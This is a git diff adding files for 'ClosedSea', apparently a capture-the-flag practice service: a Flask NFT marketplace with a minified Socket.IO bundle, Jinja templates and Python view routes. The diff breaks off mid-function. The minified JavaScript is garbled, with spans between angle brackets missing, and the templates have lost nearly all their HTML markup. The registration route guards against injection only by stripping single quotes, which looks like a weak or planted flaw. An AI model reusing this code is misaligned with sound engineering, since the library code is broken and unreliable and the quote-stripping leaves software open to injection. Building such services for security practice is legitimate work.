0000000..6a23ad6 --- /dev/null +++ b/services/service1/service/closedsea/src/static/socket.io.min.js @@ -0,0 +1,7 @@ +/*! + * Socket.IO v4.5.0 + * (c) 2014-2022 Guillermo Rauch + * Released under the MIT License. + */ +!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t||self).io=e()}(this,(function(){"use strict";function t(e){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},t(e)}function e(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function n(t,e){for(var n=0;nt.length)&&(e=t.length);for(var n=0,r=new Array(e);n=t.length?{done:!0}:{done:!1,value:t[r++]}},e:function(t){throw t},f:i}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var o,s=!0,a=!1;return{s:function(){n=n.call(t)},n:function(){var t=n.next();return s=t.done,t},e:function(t){a=!0,o=t},f:function(){try{s||null==n.return||n.return()}finally{if(a)throw o}}}}var g=Object.create(null);g.open="0",g.close="1",g.ping="2",g.pong="3",g.message="4",g.upgrade="5",g.noop="6";var m=Object.create(null);Object.keys(g).forEach((function(t){m[g[t]]=t}));for(var k={type:"error",data:"parser error"},b="function"==typeof Blob||"undefined"!=typeof Blob&&"[object BlobConstructor]"===Object.prototype.toString.call(Blob),w="function"==typeof ArrayBuffer,_=function(t,e,n){var r,i=t.type,o=t.data;return b&&o instanceof Blob?e?n(o):A(o,n):w&&(o instanceof ArrayBuffer||(r=o,"function"==typeof ArrayBuffer.isView?ArrayBuffer.isView(r):r&&r.buffer instanceof ArrayBuffer))?e?n(o):A(new Blob([o]),n):n(g[i]+(o||""))},A=function(t,e){var n=new FileReader;return n.onload=function(){var t=n.result.split(",")[1];e("b"+t)},n.readAsDataURL(t)},E="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",O="undefined"==typeof Uint8Array?[]:new Uint8Array(256),R=0;R1?{type:m[n],data:t.substring(1)}:{type:m[n]}:k},B=function(t,e){if(T){var n=function(t){var e,n,r,i,o,s=.75*t.length,a=t.length,c=0;"="===t[t.length-1]&&(s--,"="===t[t.length-2]&&s--);var u=new ArrayBuffer(s),h=new Uint8Array(u);for(e=0;e>4,h[c++]=(15&r)<<4|i>>2,h[c++]=(3&i)<<6|63&o;return u}(t);return S(n,e)}return{base64:!0,data:t}},S=function(t,e){return"blob"===e&&t instanceof ArrayBuffer?new Blob([t]):t},N=String.fromCharCode(30);function x(t){if(t)return function(t){for(var e in x.prototype)t[e]=x.prototype[e];return t}(t)}x.prototype.on=x.prototype.addEventListener=function(t,e){return this._callbacks=this._callbacks||{},(this._callbacks["$"+t]=this._callbacks["$"+t]||[]).push(e),this},x.prototype.once=function(t,e){function n(){this.off(t,n),e.apply(this,arguments)}return n.fn=e,this.on(t,n),this},x.prototype.off=x.prototype.removeListener=x.prototype.removeAllListeners=x.prototype.removeEventListener=function(t,e){if(this._callbacks=this._callbacks||{},0==arguments.length)return this._callbacks={},this;var n,r=this._callbacks["$"+t];if(!r)return this;if(1==arguments.length)return delete this._callbacks["$"+t],this;for(var i=0;i1?e-1:0),r=1;r0);return e}function z(){var t=Y(+new Date);return t!==D?(H=0,D=t):t+"."+Y(H++)}for(;K<64;K++)V[U[K]]=K;function W(t){var e="";for(var n in t)t.hasOwnProperty(n)&&(e.length&&(e+="&"),e+=encodeURIComponent(n)+"="+encodeURIComponent(t[n]));return e}function $(t){for(var e={},n=t.split("&"),r=0,i=n.length;r0&&void 0!==arguments[0]?arguments[0]:{};return i(t,{xd:this.xd,xs:this.xs},this.opts),new et(this.uri(),t)}},{key:"doWrite",value:function(t,e){var n=this,r=this.request({method:"POST",data:t});r.on("success",e),r.on("error",(function(t,e){n.onError("xhr post error",t,e)}))}},{key:"doPoll",value:function(){var t=this,e=this.request();e.on("data",this.onData.bind(this)),e.on("error",(function(e,n){t.onError("xhr poll error",e,n)})),this.pollXhr=e}}]),s}(M),et=function(t){o(i,t);var n=p(i);function i(t,r){var o;return e(this,i),I(f(o=n.call(this)),r),o.opts=r,o.method=r.method||"GET",o.uri=t,o.async=!1!==r.async,o.data=void 0!==r.data?r.data:null,o.create(),o}return r(i,[{key:"create",value:function(){var t=this,e=P(this.opts,"agent","pfx","key","passphrase","cert","ca","ciphers","rejectUnauthorized","autoUnref");e.xdomain=!!this.opts.xd,e.xscheme=!!this.opts.xs;var n=this.xhr=new G(e);try{n.open(this.method,this.uri,this.async);try{if(this.opts.extraHeaders)for(var r in n.setDisableHeaderCheck&&n.setDisableHeaderCheck(!0),this.opts.extraHeaders)this.opts.extraHeaders.hasOwnProperty(r)&&n.setRequestHeader(r,this.opts.extraHeaders[r])}catch(t){}if("POST"===this.method)try{n.setRequestHeader("Content-type","text/plain;charset=UTF-8")}catch(t){}try{n.setRequestHeader("Accept","*/*")}catch(t){}"withCredentials"in n&&(n.withCredentials=this.opts.withCredentials),this.opts.requestTimeout&&(n.timeout=this.opts.requestTimeout),n.onreadystatechange=function(){4===n.readyState&&(200===n.status||1223===n.status?t.onLoad():t.setTimeoutFn((function(){t.onError("number"==typeof n.status?n.status:0)}),0))},n.send(this.data)}catch(e){return void this.setTimeoutFn((function(){t.onError(e)}),0)}"undefined"!=typeof document&&(this.index=i.requestsCount++,i.requests[this.index]=this)}},{key:"onError",value:function(t){this.emitReserved("error",t,this.xhr),this.cleanup(!0)}},{key:"cleanup",value:function(t){if(void 0!==this.xhr&&null!==this.xhr){if(this.xhr.onreadystatechange=Q,t)try{this.xhr.abort()}catch(t){}"undefined"!=typeof document&&delete i.requests[this.index],this.xhr=null}}},{key:"onLoad",value:function(){var t=this.xhr.responseText;null!==t&&(this.emitReserved("data",t),this.emitReserved("success"),this.cleanup())}},{key:"abort",value:function(){this.cleanup()}}]),i}(x);if(et.requestsCount=0,et.requests={},"undefined"!=typeof document)if("function"==typeof attachEvent)attachEvent("onunload",nt);else if("function"==typeof addEventListener){addEventListener("onpagehide"in L?"pagehide":"unload",nt,!1)}function nt(){for(var t in et.requests)et.requests.hasOwnProperty(t)&&et.requests[t].abort()}var rt="function"==typeof Promise&&"function"==typeof Promise.resolve?function(t){return Promise.resolve().then(t)}:function(t,e){return e(t,0)},it=L.WebSocket||L.MozWebSocket,ot="undefined"!=typeof navigator&&"string"==typeof navigator.product&&"reactnative"===navigator.product.toLowerCase(),st=function(t){o(i,t);var n=p(i);function i(t){var r;return e(this,i),(r=n.call(this,t)).supportsBinary=!t.forceBase64,r}return r(i,[{key:"name",get:function(){return"websocket"}},{key:"doOpen",value:function(){if(this.check()){var t=this.uri(),e=this.opts.protocols,n=ot?{}:P(this.opts,"agent","perMessageDeflate","pfx","key","passphrase","cert","ca","ciphers","rejectUnauthorized","localAddress","protocolVersion","origin","maxPayload","family","checkServerIdentity");this.opts.extraHeaders&&(n.headers=this.opts.extraHeaders);try{this.ws=ot?new it(t,e,n):e?new it(t,e):new it(t)}catch(t){return this.emitReserved("error",t)}this.ws.binaryType=this.socket.binaryType||"arraybuffer",this.addEventListeners()}}},{key:"addEventListeners",value:function(){var t=this;this.ws.onopen=function(){t.opts.autoUnref&&t.ws._socket.unref(),t.onOpen()},this.ws.onclose=function(e){return t.onClose({description:"websocket connection closed",context:e})},this.ws.onmessage=function(e){return t.onData(e.data)},this.ws.onerror=function(e){return t.onError("websocket error",e)}}},{key:"write",value:function(t){var e=this;this.writable=!1;for(var n=function(n){var r=t[n],i=n===t.length-1;_(r,e.supportsBinary,(function(t){try{e.ws.send(t)}catch(t){}i&&rt((function(){e.writable=!0,e.emitReserved("drain")}),e.setTimeoutFn)}))},r=0;r1&&void 0!==arguments[1]?arguments[1]:{};return e(this,a),r=s.call(this),n&&"object"===t(n)&&(o=n,n=null),n?(n=ht(n),o.hostname=n.host,o.secure="https"===n.protocol||"wss"===n.protocol,o.port=n.port,n.query&&(o.query=n.query)):o.host&&(o.hostname=ht(o.host).host),I(f(r),o),r.secure=null!=o.secure?o.secure:"undefined"!=typeof location&&"https:"===location.protocol,o.hostname&&!o.port&&(o.port=r.secure?"443":"80"),r.hostname=o.hostname||("undefined"!=typeof location?location.hostname:"localhost"),r.port=o.port||("undefined"!=typeof location&&location.port?location.port:r.secure?"443":"80"),r.transports=o.transports||["polling","websocket"],r.readyState="",r.writeBuffer=[],r.prevBufferLen=0,r.opts=i({path:"/engine.io",agent:!1,withCredentials:!1,upgrade:!0,timestampParam:"t",rememberUpgrade:!1,rejectUnauthorized:!0,perMessageDeflate:{threshold:1024},transportOptions:{},closeOnBeforeunload:!0},o),r.opts.path=r.opts.path.replace(/\/$/,"")+"/","string"==typeof r.opts.query&&(r.opts.query=$(r.opts.query)),r.id=null,r.upgrades=null,r.pingInterval=null,r.pingTimeout=null,r.pingTimeoutTimer=null,"function"==typeof addEventListener&&(r.opts.closeOnBeforeunload&&addEventListener("beforeunload",(function(){r.transport&&(r.transport.removeAllListeners(),r.transport.close())}),!1),"localhost"!==r.hostname&&(r.offlineEventListener=function(){r.onClose("transport close",{description:"network connection lost"})},addEventListener("offline",r.offlineEventListener,!1))),r.open(),r}return r(a,[{key:"createTransport",value:function(t){var e=i({},this.opts.query);e.EIO=4,e.transport=t,this.id&&(e.sid=this.id);var n=i({},this.opts.transportOptions[t],this.opts,{query:e,socket:this,hostname:this.hostname,secure:this.secure,port:this.port});return new at[t](n)}},{key:"open",value:function(){var t,e=this;if(this.opts.rememberUpgrade&&a.priorWebsocketSuccess&&-1!==this.transports.indexOf("websocket"))t="websocket";else{if(0===this.transports.length)return void this.setTimeoutFn((function(){e.emitReserved("error","No transports available")}),0);t=this.transports[0]}this.readyState="opening";try{t=this.createTransport(t)}catch(t){return this.transports.shift(),void this.open()}t.open(),this.setTransport(t)}},{key:"setTransport",value:function(t){var e=this;this.transport&&this.transport.removeAllListeners(),this.transport=t,t.on("drain",this.onDrain.bind(this)).on("packet",this.onPacket.bind(this)).on("error",this.onError.bind(this)).on("close",(function(t){return e.onClose("transport close",t)}))}},{key:"probe",value:function(t){var e=this,n=this.createTransport(t),r=!1;a.priorWebsocketSuccess=!1;var i=function(){r||(n.send([{type:"ping",data:"probe"}]),n.once("packet",(function(t){if(!r)if("pong"===t.type&&"probe"===t.data){if(e.upgrading=!0,e.emitReserved("upgrading",n),!n)return;a.priorWebsocketSuccess="websocket"===n.name,e.transport.pause((function(){r||"closed"!==e.readyState&&(f(),e.setTransport(n),n.send([{type:"upgrade"}]),e.emitReserved("upgrade",n),n=null,e.upgrading=!1,e.flush())}))}else{var i=new Error("probe error");i.transport=n.name,e.emitReserved("upgradeError",i)}})))};function o(){r||(r=!0,f(),n.close(),n=null)}var s=function(t){var r=new Error("probe error: "+t);r.transport=n.name,o(),e.emitReserved("upgradeError",r)};function c(){s("transport closed")}function u(){s("socket closed")}function h(t){n&&t.name!==n.name&&o()}var f=function(){n.removeListener("open",i),n.removeListener("error",s),n.removeListener("close",c),e.off("close",u),e.off("upgrading",h)};n.once("open",i),n.once("error",s),n.once("close",c),this.once("close",u),this.once("upgrading",h),n.open()}},{key:"onOpen",value:function(){if(this.readyState="open",a.priorWebsocketSuccess="websocket"===this.transport.name,this.emitReserved("open"),this.flush(),"open"===this.readyState&&this.opts.upgrade&&this.transport.pause)for(var t=0,e=this.upgrades.length;t1))return this.writeBuffer;for(var t,e=1,n=0;n=57344?n+=3:(r++,n+=4);return n}(t):Math.ceil(1.33*(t.byteLength||t.size))),n>0&&e>this.maxPayload)return this.writeBuffer.slice(0,n);e+=2}return this.writeBuffer}},{key:"write",value:function(t,e,n){return this.sendPacket("message",t,e,n),this}},{key:"send",value:function(t,e,n){return this.sendPacket("message",t,e,n),this}},{key:"sendPacket",value:function(t,e,n,r){if("function"==typeof e&&(r=e,e=void 0),"function"==typeof n&&(r=n,n=null),"closing"!==this.readyState&&"closed"!==this.readyState){(n=n||{}).compress=!1!==n.compress;var i={type:t,data:e,options:n};this.emitReserved("packetCreate",i),this.writeBuffer.push(i),r&&this.once("flush",r),this.flush()}}},{key:"close",value:function(){var t=this,e=function(){t.onClose("forced close"),t.transport.close()},n=function n(){t.off("upgrade",n),t.off("upgradeError",n),e()},r=function(){t.once("upgrade",n),t.once("upgradeError",n)};return"opening"!==this.readyState&&"open"!==this.readyState||(this.readyState="closing",this.writeBuffer.length?this.once("drain",(function(){t.upgrading?r():e()})):this.upgrading?r():e()),this}},{key:"onError",value:function(t){a.priorWebsocketSuccess=!1,this.emitReserved("error",t),this.onClose("transport error",t)}},{key:"onClose",value:function(t,e){"opening"!==this.readyState&&"open"!==this.readyState&&"closing"!==this.readyState||(this.clearTimeoutFn(this.pingTimeoutTimer),this.transport.removeAllListeners("close"),this.transport.close(),this.transport.removeAllListeners(),"function"==typeof removeEventListener&&removeEventListener("offline",this.offlineEventListener,!1),this.readyState="closed",this.id=null,this.emitReserved("close",t,e),this.writeBuffer=[],this.prevBufferLen=0)}},{key:"filterUpgrades",value:function(t){for(var e=[],n=0,r=t.length;n0;case _t.ACK:case _t.BINARY_ACK:return Array.isArray(n)}}}]),a}(x),Ot=function(){function t(n){e(this,t),this.packet=n,this.buffers=[],this.reconPack=n}return r(t,[{key:"takeBinaryData",value:function(t){if(this.buffers.push(t),this.buffers.length===this.reconPack.attachments){var e=bt(this.reconPack,this.buffers);return this.finishedReconstruction(),e}return null}},{key:"finishedReconstruction",value:function(){this.reconPack=null,this.buffers=[]}}]),t}(),Rt=Object.freeze({__proto__:null,protocol:5,get PacketType(){return _t},Encoder:At,Decoder:Et});function Tt(t,e,n){return t.on(e,n),function(){t.off(e,n)}}var Ct=Object.freeze({connect:1,connect_error:1,disconnect:1,disconnecting:1,newListener:1,removeListener:1}),Bt=function(t){o(i,t);var n=p(i);function i(t,r,o){var s;return e(this,i),(s=n.call(this)).connected=!1,s.receiveBuffer=[],s.sendBuffer=[],s.ids=0,s.acks={},s.flags={},s.io=t,s.nsp=r,o&&o.auth&&(s.auth=o.auth),s.io._autoConnect&&s.open(),s}return r(i,[{key:"disconnected",get:function(){return!this.connected}},{key:"subEvents",value:function(){if(!this.subs){var t=this.io;this.subs=[Tt(t,"open",this.onopen.bind(this)),Tt(t,"packet",this.onpacket.bind(this)),Tt(t,"error",this.onerror.bind(this)),Tt(t,"close",this.onclose.bind(this))]}}},{key:"active",get:function(){return!!this.subs}},{key:"connect",value:function(){return this.connected||(this.subEvents(),this.io._reconnecting||this.io.open(),"open"===this.io._readyState&&this.onopen()),this}},{key:"open",value:function(){return this.connect()}},{key:"send",value:function(){for(var t=arguments.length,e=new Array(t),n=0;n1?e-1:0),r=1;r0&&t.jitter<=1?t.jitter:0,this.attempts=0}St.prototype.duration=function(){var t=this.ms*Math.pow(this.factor,this.attempts++);if(this.jitter){var e=Math.random(),n=Math.floor(e*this.jitter*t);t=0==(1&Math.floor(10*e))?t-n:t+n}return 0|Math.min(t,this.max)},St.prototype.reset=function(){this.attempts=0},St.prototype.setMin=function(t){this.ms=t},St.prototype.setMax=function(t){this.max=t},St.prototype.setJitter=function(t){this.jitter=t};var Nt=function(n){o(s,n);var i=p(s);function s(n,r){var o,a;e(this,s),(o=i.call(this)).nsps={},o.subs=[],n&&"object"===t(n)&&(r=n,n=void 0),(r=r||{}).path=r.path||"/socket.io",o.opts=r,I(f(o),r),o.reconnection(!1!==r.reconnection),o.reconnectionAttempts(r.reconnectionAttempts||1/0),o.reconnectionDelay(r.reconnectionDelay||1e3),o.reconnectionDelayMax(r.reconnectionDelayMax||5e3),o.randomizationFactor(null!==(a=r.randomizationFactor)&&void 0!==a?a:.5),o.backoff=new St({min:o.reconnectionDelay(),max:o.reconnectionDelayMax(),jitter:o.randomizationFactor()}),o.timeout(null==r.timeout?2e4:r.timeout),o._readyState="closed",o.uri=n;var c=r.parser||Rt;return o.encoder=new c.Encoder,o.decoder=new c.Decoder,o._autoConnect=!1!==r.autoConnect,o._autoConnect&&o.open(),o}return r(s,[{key:"reconnection",value:function(t){return arguments.length?(this._reconnection=!!t,this):this._reconnection}},{key:"reconnectionAttempts",value:function(t){return void 0===t?this._reconnectionAttempts:(this._reconnectionAttempts=t,this)}},{key:"reconnectionDelay",value:function(t){var e;return void 0===t?this._reconnectionDelay:(this._reconnectionDelay=t,null===(e=this.backoff)||void 0===e||e.setMin(t),this)}},{key:"randomizationFactor",value:function(t){var e;return void 0===t?this._randomizationFactor:(this._randomizationFactor=t,null===(e=this.backoff)||void 0===e||e.setJitter(t),this)}},{key:"reconnectionDelayMax",value:function(t){var e;return void 0===t?this._reconnectionDelayMax:(this._reconnectionDelayMax=t,null===(e=this.backoff)||void 0===e||e.setMax(t),this)}},{key:"timeout",value:function(t){return arguments.length?(this._timeout=t,this):this._timeout}},{key:"maybeReconnectOnOpen",value:function(){!this._reconnecting&&this._reconnection&&0===this.backoff.attempts&&this.reconnect()}},{key:"open",value:function(t){var e=this;if(~this._readyState.indexOf("open"))return this;this.engine=new ft(this.uri,this.opts);var n=this.engine,r=this;this._readyState="opening",this.skipReconnect=!1;var i=Tt(n,"open",(function(){r.onopen(),t&&t()})),o=Tt(n,"error",(function(n){r.cleanup(),r._readyState="closed",e.emitReserved("error",n),t?t(n):r.maybeReconnectOnOpen()}));if(!1!==this._timeout){var s=this._timeout;0===s&&i();var a=this.setTimeoutFn((function(){i(),n.close(),n.emit("error",new Error("timeout"))}),s);this.opts.autoUnref&&a.unref(),this.subs.push((function(){clearTimeout(a)}))}return this.subs.push(i),this.subs.push(o),this}},{key:"connect",value:function(t){return this.open(t)}},{key:"onopen",value:function(){this.cleanup(),this._readyState="open",this.emitReserved("open");var t=this.engine;this.subs.push(Tt(t,"ping",this.onping.bind(this)),Tt(t,"data",this.ondata.bind(this)),Tt(t,"error",this.onerror.bind(this)),Tt(t,"close",this.onclose.bind(this)),Tt(this.decoder,"decoded",this.ondecoded.bind(this)))}},{key:"onping",value:function(){this.emitReserved("ping")}},{key:"ondata",value:function(t){this.decoder.add(t)}},{key:"ondecoded",value:function(t){this.emitReserved("packet",t)}},{key:"onerror",value:function(t){this.emitReserved("error",t)}},{key:"socket",value:function(t,e){var n=this.nsps[t];return n||(n=new Bt(this,t,e),this.nsps[t]=n),n}},{key:"_destroy",value:function(t){for(var e=0,n=Object.keys(this.nsps);e=this._reconnectionAttempts)this.backoff.reset(),this.emitReserved("reconnect_failed"),this._reconnecting=!1;else{var n=this.backoff.duration();this._reconnecting=!0;var r=this.setTimeoutFn((function(){e.skipReconnect||(t.emitReserved("reconnect_attempt",e.backoff.attempts),e.skipReconnect||e.open((function(n){n?(e._reconnecting=!1,e.reconnect(),t.emitReserved("reconnect_error",n)):e.onreconnect()})))}),n);this.opts.autoUnref&&r.unref(),this.subs.push((function(){clearTimeout(r)}))}}},{key:"onreconnect",value:function(){var t=this.backoff.attempts;this._reconnecting=!1,this.backoff.reset(),this.emitReserved("reconnect",t)}}]),s}(x),xt={};function Lt(e,n){"object"===t(e)&&(n=e,e=void 0);var r,i=function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",n=arguments.length>2?arguments[2]:void 0,r=t;n=n||"undefined"!=typeof location&&location,null==t&&(t=n.protocol+"//"+n.host),"string"==typeof t&&("/"===t.charAt(0)&&(t="/"===t.charAt(1)?n.protocol+t:n.host+t),/^(https?|wss?):\/\//.test(t)||(t=void 0!==n?n.protocol+"//"+t:"https://"+t),r=ht(t)),r.port||(/^(http|ws)$/.test(r.protocol)?r.port="80":/^(http|ws)s$/.test(r.protocol)&&(r.port="443")),r.path=r.path||"/";var i=-1!==r.host.indexOf(":")?"["+r.host+"]":r.host;return r.id=r.protocol+"://"+i+":"+r.port+e,r.href=r.protocol+"://"+i+(n&&n.port===r.port?"":":"+r.port),r}(e,(n=n||{}).path||"/socket.io"),o=i.source,s=i.id,a=i.path,c=xt[s]&&a in xt[s].nsps;return n.forceNew||n["force new connection"]||!1===n.multiplex||c?r=new Nt(o,n):(xt[s]||(xt[s]=new Nt(o,n)),r=xt[s]),i.query&&!n.query&&(n.query=i.queryKey),r.socket(i.path,n)}return i(Lt,{Manager:Nt,Socket:Bt,io:Lt,connect:Lt}),Lt})); +//# sourceMappingURL=socket.io.min.js.map diff --git a/services/service1/service/closedsea/src/templates/base.html b/services/service1/service/closedsea/src/templates/base.html new file mode 100644 index 0000000..c91207b --- /dev/null +++ b/services/service1/service/closedsea/src/templates/base.html @@ -0,0 +1,194 @@ + + + + ClosedSea + + + + + + + + + + + + + + + + + {% if session['username'] %} + + {% endif %} + + + +
+
+
+ +
+
+ {% with messages = get_flashed_messages() %} {% if messages %} {% for + message in messages %} +
+ {{message}} +
+ {% endfor %} {% endif %} {% endwith %} {% block content %} {% endblock + %} +
+
+ +
+
+
+ +
+ ClosedSea, 2022 +
+ + diff --git a/services/service1/service/closedsea/src/templates/dashboard.html b/services/service1/service/closedsea/src/templates/dashboard.html new file mode 100644 index 0000000..fd3f199 --- /dev/null +++ b/services/service1/service/closedsea/src/templates/dashboard.html @@ -0,0 +1,17 @@ +{% extends 'base.html' %} {% block content %} +

Dashboard

+

My NFTs

+{% for nft in nfts %} +
+
{{nft['title']}}
+
+

{{nft['data']}}

+ View +
+ +
+{% endfor %} {% endblock %} diff --git a/services/service1/service/closedsea/src/templates/index.html b/services/service1/service/closedsea/src/templates/index.html new file mode 100644 index 0000000..b664fc9 --- /dev/null +++ b/services/service1/service/closedsea/src/templates/index.html @@ -0,0 +1,63 @@ +{% extends 'base.html' %} {% block content %} +

ClosedSea

+
The first NFT market that lets you buy copy of NFT!
+
(Still less expensive that ctrl-c ctrl-v)
+
We also have TWO different blockchains!
+
$PC - Privacy coins and $SC - Sea coins
+ +
+ mint some new nfts! + {% if session['username'] %} {% else %} + Start now! + {% endif %} +
+ +

+ Current transactions +

+ +
    + + +{% endblock %} diff --git a/services/service1/service/closedsea/src/templates/item.html b/services/service1/service/closedsea/src/templates/item.html new file mode 100644 index 0000000..5d62ff2 --- /dev/null +++ b/services/service1/service/closedsea/src/templates/item.html @@ -0,0 +1,229 @@ +{% extends 'base.html' %} {% block content %} + +

    NFT Info

    + +{% if own %} + +
    +
    {{nft['title']}}
    +
    +

    You own this nft!

    +

    {{nft['data']}}

    + + +
    +
    +
    Current transactions
    +
    +
    + +
    + + + + + +{% else %} + +

    {{nft['title']}}

    + +
    +
    {{nft['title']}}
    +
    +

    An nft. Buy it to see its secrets!

    + + + See owner profile + +
    +
    +
    Current transactions
    +
      +
      + + +
      + + + +{% endif %} + + +{% endblock %} diff --git a/services/service1/service/closedsea/src/templates/listing.html b/services/service1/service/closedsea/src/templates/listing.html new file mode 100644 index 0000000..47c08dd --- /dev/null +++ b/services/service1/service/closedsea/src/templates/listing.html @@ -0,0 +1,45 @@ +{% extends 'base.html' %} {% block content %} + +

      NFT List

      + +{% for nft in nfts %} + +
      +
      {{nft['title']}}
      +
      +

      An nft. Buy it to see its secrets!

      + + View NFT + + + See owner profile + +
      + +
      + +{% endfor %} + + +{% endblock %} diff --git a/services/service1/service/closedsea/src/templates/login.html b/services/service1/service/closedsea/src/templates/login.html new file mode 100644 index 0000000..7850d16 --- /dev/null +++ b/services/service1/service/closedsea/src/templates/login.html @@ -0,0 +1,32 @@ +{% extends 'base.html' %} {% block content %} +

      Login

      + +
      +
      + + +
      + +
      + + +
      + +
      + + +
      + + +
      + +{% endblock %} diff --git a/services/service1/service/closedsea/src/templates/register.html b/services/service1/service/closedsea/src/templates/register.html new file mode 100644 index 0000000..a5cf1bd --- /dev/null +++ b/services/service1/service/closedsea/src/templates/register.html @@ -0,0 +1,69 @@ +{% extends 'base.html' %} {% block content %} +

      Register

      +
      + + +
      + + +
      + +
      + + +
      + +
      + +
      + + + + +
      + +{% endblock %} diff --git a/services/service1/service/closedsea/src/templates/user.html b/services/service1/service/closedsea/src/templates/user.html new file mode 100644 index 0000000..87d5558 --- /dev/null +++ b/services/service1/service/closedsea/src/templates/user.html @@ -0,0 +1,59 @@ +{% extends 'base.html' %} {% block content %} + +

      {{user["username"]}}'s profile

      + +

      Owned NFTS

      +{% for nft in nfts %} +
      +
      {{nft['title']}}
      +
      +

      An nft. Only the owner can see its contents!

      + View +
      + +
      + +{% endfor %} + +

      Current transactions

      +

      All this user's transactions

      +
        + + +{% endblock %} diff --git a/services/service1/service/closedsea/src/views/__init__.py b/services/service1/service/closedsea/src/views/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/services/service1/service/closedsea/src/views/api.py b/services/service1/service/closedsea/src/views/api.py new file mode 100644 index 0000000..a1afa51 --- /dev/null +++ b/services/service1/service/closedsea/src/views/api.py @@ -0,0 +1,25 @@ +import requests +from flask import Blueprint, request, abort, jsonify, current_app +from .helpers import login_user +from .exceptions import WrongPassword + +api = Blueprint('api', 'api', url_prefix='/api') + +@api.post('/login') +def api_login(): + if not request.is_json: + abort(400) + + data = request.json + try: + username = data['username'] + password = data['password'] + except KeyError: + abort(400) + + try: + user_id, public_key = login_user(username, password) + except WrongPassword: + return abort(401) + + return jsonify({'username': username, 'public_key': public_key, 'user_id': user_id}) diff --git a/services/service1/service/closedsea/src/views/exceptions.py b/services/service1/service/closedsea/src/views/exceptions.py new file mode 100644 index 0000000..b759f24 --- /dev/null +++ b/services/service1/service/closedsea/src/views/exceptions.py @@ -0,0 +1,6 @@ + +class NotLogged(BaseException): + pass + +class WrongPassword(BaseException): + pass \ No newline at end of file diff --git a/services/service1/service/closedsea/src/views/frontend.py b/services/service1/service/closedsea/src/views/frontend.py new file mode 100644 index 0000000..1a35d22 --- /dev/null +++ b/services/service1/service/closedsea/src/views/frontend.py @@ -0,0 +1,247 @@ +from flask import Blueprint, current_app, redirect, render_template, url_for, request, flash, session +from flask import abort, g +from .exceptions import WrongPassword +import sys +from .helpers import do_query, is_logged, logged, login_user, not_logged, register_user, get_public_nft, user_has_nft +from .helpers import retrieve_user, retrieve_nft, retrieve_user_nfts, retrieve_user_public_nfts, is_nft_public +import requests + + +frontend = Blueprint('frontend', 'frontend') + + +@frontend.before_request +def add_g(): + if is_logged(): + g.user = retrieve_user(session['id']) + + +@frontend.get('/') +def index(): + minter_url = request.host_url.replace("3003", "3004") + return render_template('index.html', minter_url=minter_url) + + +@frontend.get('/login') +@not_logged +def login_page(): + minter_url = request.host_url.replace("3003", "3004") + return render_template('login.html', minter_url=minter_url) + + +@frontend.post('/login') +@not_logged +def login(): + username = request.form.get('username', False) + password = request.form.get('password', False) + + if not all((username, password)): + flash('You need to provide an username, a password') + return redirect(url_for('frontend.register')) + + try: + user_id, public_key = login_user(username, password) + except WrongPassword: + flash('Wrong username or password') + return redirect(url_for('frontend.login')) + + session['username'] = username + session['id'] = user_id + session['public_key'] = public_key + + flash('Success') + return redirect(url_for('frontend.dashboard')) + + +@frontend.get('/register') +@not_logged +def register_page(): + minter_url = request.host_url.replace("3003", "3004") + return render_template('register.html', minter_url=minter_url) + + +@frontend.post('/register') +@not_logged +def register(): + username = request.form.get('username', False) + password = request.form.get('password', False) + public_key = request.form.get('public_key', False) + + if not all((username, password, public_key)): + flash('You need to provide an username, a password and a public_key') + return redirect(url_for('frontend.register')) + username = username.replace("'", "") + if not (user_id := register_user(username, password, public_key)): + flash('Error') + return redirect(url_for('frontend.register')) + + # Everything seems good! + session['username'] = username + session['id'] = user_id + session['public_key'] = public_key + + flash('Success') + return redirect(url_for('frontend.dashboard')) + + +@frontend.get('/logout') +@logged +def logout(): + del session['username'] + del session['id'] + del session['public_key'] + return redirect(url_for('frontend.index')) + + +@frontend.get('/dashboard') +@logged +def dashboard(): + nfts = retrieve_user_nfts(session['id']) + minter_url = request.host_url.replace("3003", "3004") + return render_template('dashboard.html', nfts=nfts, minter_url=minter_url) + + +@frontend.get('/listing') +def listing(): + + minter_url = request.host_url.replace("3003", "3004") + page = request.args.get('p', 0) + try: + page = int(page) + except ValueError: + page = 0 + + if page < 0: + abort(404) + offset = page*10 + n = 10 + + nfts = get_public_nft(offset, n) + return render_template('listing.html', nfts=nfts, page=page, minter_url=minter_url) + + +@frontend.get('/view/') +def view(nft_id): + minter_url = request.host_url.replace("3003", "3004") + nft = retrieve_nft(nft_id) + if not nft: + abort(404) + own = False + if session.get('id', False): + own = user_has_nft(session['id'], nft_id) + return render_template('item.html', nft=nft, own=own, minter_url=minter_url) + + +@frontend.get('/user/') +def user(user_id): + minter_url = request.host_url.replace("3003", "3004") + user = retrieve_user(user_id) + if not user: + abort(404) + + nfts = retrieve_user_public_nfts(user_id) + + return render_template('user.html', user=user, nfts=nfts, minter_url=minter_url) + + +@frontend.post('/switch/') +@logged +def switch(nft_id): + API_BUY = current_app.config['TRANSACTION_BASE'] + '/switch_chain' + nft = retrieve_nft(nft_id) + if not nft: + abort(404) + + user_id = str(session['id']) + if not user_has_nft(user_id, nft_id): + flash('You don\'t own this NFT!') + return redirect(url_for('frontend.view', nft_id=nft_id)) + + chain = request.form.get('chain', 0) + data = { + 'nft_id': nft_id, + 'user_id': user_id, + 'chain': chain + } + result = requests.post(API_BUY, json=data).json() + if result['success']: + return redirect(url_for('frontend.view', nft_id=nft_id)) + flash(result['message']) + return redirect(url_for('frontend.view', nft_id=nft_id)) + + +@frontend.post('/buy/') +@logged +def buy(nft_id): + API_BUY = current_app.config['TRANSACTION_BASE'] + '/buy' + nft = retrieve_nft(nft_id) + if not nft: + abort(404) + + user_id = str(session['id']) + if user_has_nft(user_id, nft_id): + flash('You already have this nft') + return redirect(url_for('frontend.view', nft_id=nft_id)) + + if not is_nft_public(nft_id): + 